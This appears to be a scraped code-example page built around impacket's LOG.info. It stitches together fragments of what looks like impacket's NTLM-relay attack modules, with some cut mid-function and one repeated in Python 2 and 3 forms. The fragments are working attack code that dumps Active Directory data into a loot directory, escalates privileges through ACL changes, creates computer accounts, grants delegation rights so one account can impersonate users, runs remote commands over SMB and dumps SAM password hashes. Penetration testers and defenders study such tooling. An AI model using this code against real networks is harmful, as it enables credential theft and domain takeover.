How to use the impacket.LOG.info function in impacket

# Set up a default config
        domainDumpConfig = ldapdomaindump.domainDumpConfig()

        # Change the output directory to configured rootdir
        domainDumpConfig.basepath = self.config.lootdir

        # Create new dumper object
        domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)

        # If specified validate the user's privileges. This might take a while on large domains but will
        # identify the proper containers for escalating via the different techniques.
        if self.config.validateprivs:
            LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains')
            userSid, privs = self.validatePrivileges(self.username, domainDumper)
            if privs['create']:
                LOG.info('User privileges found: Create user')
            if privs['escalateViaGroup']:
                name = privs['escalateGroup'].split(',')[0][3:]
                LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)
            if privs['aclEscalate']:
                LOG.info('User privileges found: Modifying domain ACL')

        # If validation of privileges is not desired, we assumed that the user has permissions to escalate
        # an existing user via ACL attacks.
        else:
            LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack')
            privs = dict()
            privs['create'] = False
            privs['aclEscalate'] = True
            privs['escalateViaGroup'] = False

        # We prefer ACL escalation since it is more quiet

def openSvcManager(self):
        LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost())
        # Setup up a DCE SMBTransport with the connection already in place
        self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),
                                                    filename = r'\svcctl', smb_connection = self.connection)
        self.rpcsvc = self._rpctransport.get_dce_rpc()
        self.rpcsvc.connect()
        self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
        try:
            resp = scmr.hROpenSCManagerW(self.rpcsvc)
        except:
            LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost())
            raise Exception('Unable to open SVCManager')
        else:
            return resp['lpScHandle']

# Perform the Delegate attack if it is enabled and we relayed a computer account
        if self.config.delegateaccess and self.username[-1] == '$':
            self.delegateAttack(self.config.escalateuser, self.username, domainDumper)
            return

        # Add a new computer if that is requested
        # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota
        if self.config.addcomputer:
            self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
            return

        # Last attack, dump the domain if no special privileges are present
        if not dumpedDomain and self.config.dumpdomain:
            # Do this before the dump is complete because of the time this can take
            dumpedDomain = True
            LOG.info('Dumping domain info for first time')
            domainDumper.domainDump()
            LOG.info('Domain info dumped into lootdir!')

'servicePrincipalName': spns,
            'sAMAccountName': newComputer,
            'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
        }
        LOG.debug('New computer info %s', ucd)
        LOG.info('Attempting to create computer in: %s', parent)
        res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
        if not res:
            # Adding computers requires LDAPS
            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
                LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
            else:
                LOG.error('Failed to add a new computer: %s' % str(self.client.result))
            return False
        else:
            LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
            alreadyAddedComputer = True
            # Return the SAM name
            return newComputer

try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException, e:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding, 'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                LOG.error(str(e))
            finally:
                if samHashes is not None:

targetuser = entry
        if not targetuser:
            LOG.error('Could not query target user properties')
            return
        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            LOG.debug('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
        except IndexError:
            # Create DACL manually
            sd = create_empty_sd()
        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
        if self.client.result['result'] == 0:
            LOG.info('Delegation rights modified succesfully!')
            LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
            delegatePerformed.append(targetsam)
        else:
            if self.client.result['result'] == 50:
                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                LOG.error('The server returned an error: %s', self.client.result['message'])
        return

def run(self):
        while True:
            mtime = os.stat(self.targetprocessor.filename).st_mtime
            if mtime > self.lastmtime:
                LOG.info('Targets file modified - refreshing')
                self.lastmtime = mtime
                self.targetprocessor.readTargets()
            time.sleep(1.0)

# Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception as e:
                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print(self.__answerTMP.decode(self.config.encoding, 'replace'))

# Default computer SPNs
        spns = [
            'HOST/%s' % computerHostname,
            'HOST/%s.%s' % (computerHostname, domain),
            'RestrictedKrbHost/%s' % computerHostname,
            'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
        ]
        ucd = {
            'dnsHostName': '%s.%s' % (computerHostname, domain),
            'userAccountControl': 4096,
            'servicePrincipalName': spns,
            'sAMAccountName': newComputer,
            'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
        }
        LOG.debug('New computer info %s', ucd)
        LOG.info('Attempting to create computer in: %s', parent)
        res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
        if not res:
            # Adding computers requires LDAPS
            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
                LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
            else:
                LOG.error('Failed to add a new computer: %s' % str(self.client.result))
            return False
        else:
            LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
            alreadyAddedComputer = True
            # Return the SAM name
            return newComputer

def writeRestoreData(self, restoredata, domaindn):
        output = {}
        domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
        output['config'] = {'server':self.client.server.host,'domain':domain}
        output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}]
        now = datetime.datetime.now()
        filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")
        # Save the json to file
        with codecs.open(filename, 'w', 'utf-8') as outfile:
            json.dump(output, outfile)
        LOG.info('Saved restore state to %s', filename)